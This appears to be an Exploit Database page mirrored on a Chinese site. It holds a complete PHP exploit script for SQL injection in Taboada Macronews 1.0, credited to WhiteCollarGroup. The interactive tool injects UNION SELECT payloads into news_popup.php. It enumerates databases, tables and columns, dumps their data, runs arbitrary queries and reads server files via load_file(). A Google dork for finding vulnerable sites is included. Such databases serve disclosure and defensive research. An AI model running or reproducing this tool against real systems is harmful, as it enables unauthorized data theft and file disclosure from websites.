Taboada Macronews 1.0 – SQL Injection

Exploit Database
124 阅读

作者： Jefrey

日期： 2014-01-04
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/30689/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

<?php

# Exploit Title: Taboada Macronews <= 1.0 SQLi Exploit

# Date: 03rd January 2013

# Exploit Author: WhiteCollarGroup

# Software Link: http://www.scriptbrasil.com.br/download/codigo/7144/

# Version: 1.0

# Google Dork: intext:"Powered by: joaotaboada.com"

Usage:

php filename.php

function puts($str) {

echo $str."\n";

}

function gets() {

return trim(fgets(STDIN));

}

function hex($string){

$hex=''; // PHP 'Dim' =]

for ($i=0; $i < strlen($string); $i++){

$hex .= dechex(ord($string[$i]));

}

return '0x'.$hex;

}

$token = uniqid();

$token_hex = hex($token);

puts("Taboada Macronews <= 1.0 SQL Injection Exploit");

puts("By WhiteCollarGroup (0KaL miss all of you guys)");

puts("[?] Enter website URL (e. g.: http://www.target.com/taboada/):");

$target = gets();

puts("[*] Checking...");

if(!@file_get_contents($target)) die("[!] Access error: check domain and path.");

puts("[.] Connected.");

if(substr($target, (strlen($target)-1))!="/") $target .= "/";

function runquery($query) {

global $target,$token,$token_hex;

$query = preg_replace("/;$/", null, $query);

$query = urlencode($query);

$rodar = $target . "news_popup.php?id='%20UNION%20ALL%20SELECT%201,2,3,concat($token_hex,%28$query%29,$token_hex),5,6,7,8--%20";

//die($rodar);

$get = file_get_contents($rodar);

$matches = array();

preg_match_all("/$token(.*)$token/", $get, $matches);

if(isset($matches[1][0]))

return $matches[1][0];

else

return false;

}

if(runquery("SELECT $token_hex")!=$token) {

puts("[!] Couldn't get data");

exit;

}

puts("[i] MySQL version is ".runquery("SELECT version()"));

puts("[i] MySQL user is ".runquery("SELECT user()"));

function main($msg=null) {

global $token,$token_hex;

echo "\n".$msg."\n";

puts("[>] MAIN MENU");

puts("[1] Browse MySQL");

puts("[2] Run SQL Query");

puts("[3] Read file");

puts("[4] About");

puts("[0] Exit");

$resp = gets();

if($resp=="0")

exit;

elseif($resp=="1") {

// pega dbs

$i = 0;

puts("[.] Getting databases:");

while(true) {

$pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT $i,1");

if($pega)

puts(" - ".$pega);

else

break;

$i++;

}

puts("[!] Current database: ".runquery("SELECT database()"));

puts("[?] Enter database name for select:");

$own = array();

$own['db'] = gets();

$own['dbh'] = hex($own['db']);

// pega tables da db

$i = 0;

puts("[.] Getting tables from $own[db]:");

while(true) {

$pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema=$own[dbh] LIMIT $i,1");

if($pega)

puts(" - ".$pega);

else

break;

$i++;

}

puts("[?] Enter table name for select:");

$own['tb'] = gets();

$own['tbh'] = hex($own['tb']);

// pega colunas da table

$i = 0;

puts("[.] Getting columns from $own[db].$own[tb]:");

while(true) {

$pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema=$own[dbh] AND table_name=$own[tbh] LIMIT $i,1");

if($pega)

puts(" - ".$pega);

else

break;

$i++;

}

puts("[?] Enter columns name, separated by commas (\",\") for select:");

$own['cl'] = explode(",", gets());

// pega dados das colunas

foreach($own['cl'] as $coluna) {

$i = 0;

puts("[=] Column: $coluna");

while(true) {

$pega = runquery("SELECT $coluna FROM $own[db].$own[tb] LIMIT $i,1");

if($pega) {

puts(" - $pega");

$i++;

} else

break;

}

echo "\n[ ] -+-\n";

}

main();

} elseif($resp=="2") {

puts("[~] RUN SQL QUERY");

puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().");

puts("[?] Query (enter for exit): ");

$query = gets();

if(!$query) main();

else main(runquery($query."\n"));

} elseif($resp=="3") {

puts("[?] File path (may not have priv):");

$file = hex(gets());

$le = runquery("SELECT load_file($file) AS wc");

if($le)

main($le);

else

main("File not found, empty or no priv!");

} elseif($resp=="4") {

puts("Coded by 0KaL @ WhiteCollarGroup");

puts("tinyurl.com/WCollarGroup");

main();

}

else

main("[!] Wrong choice.");

}

main();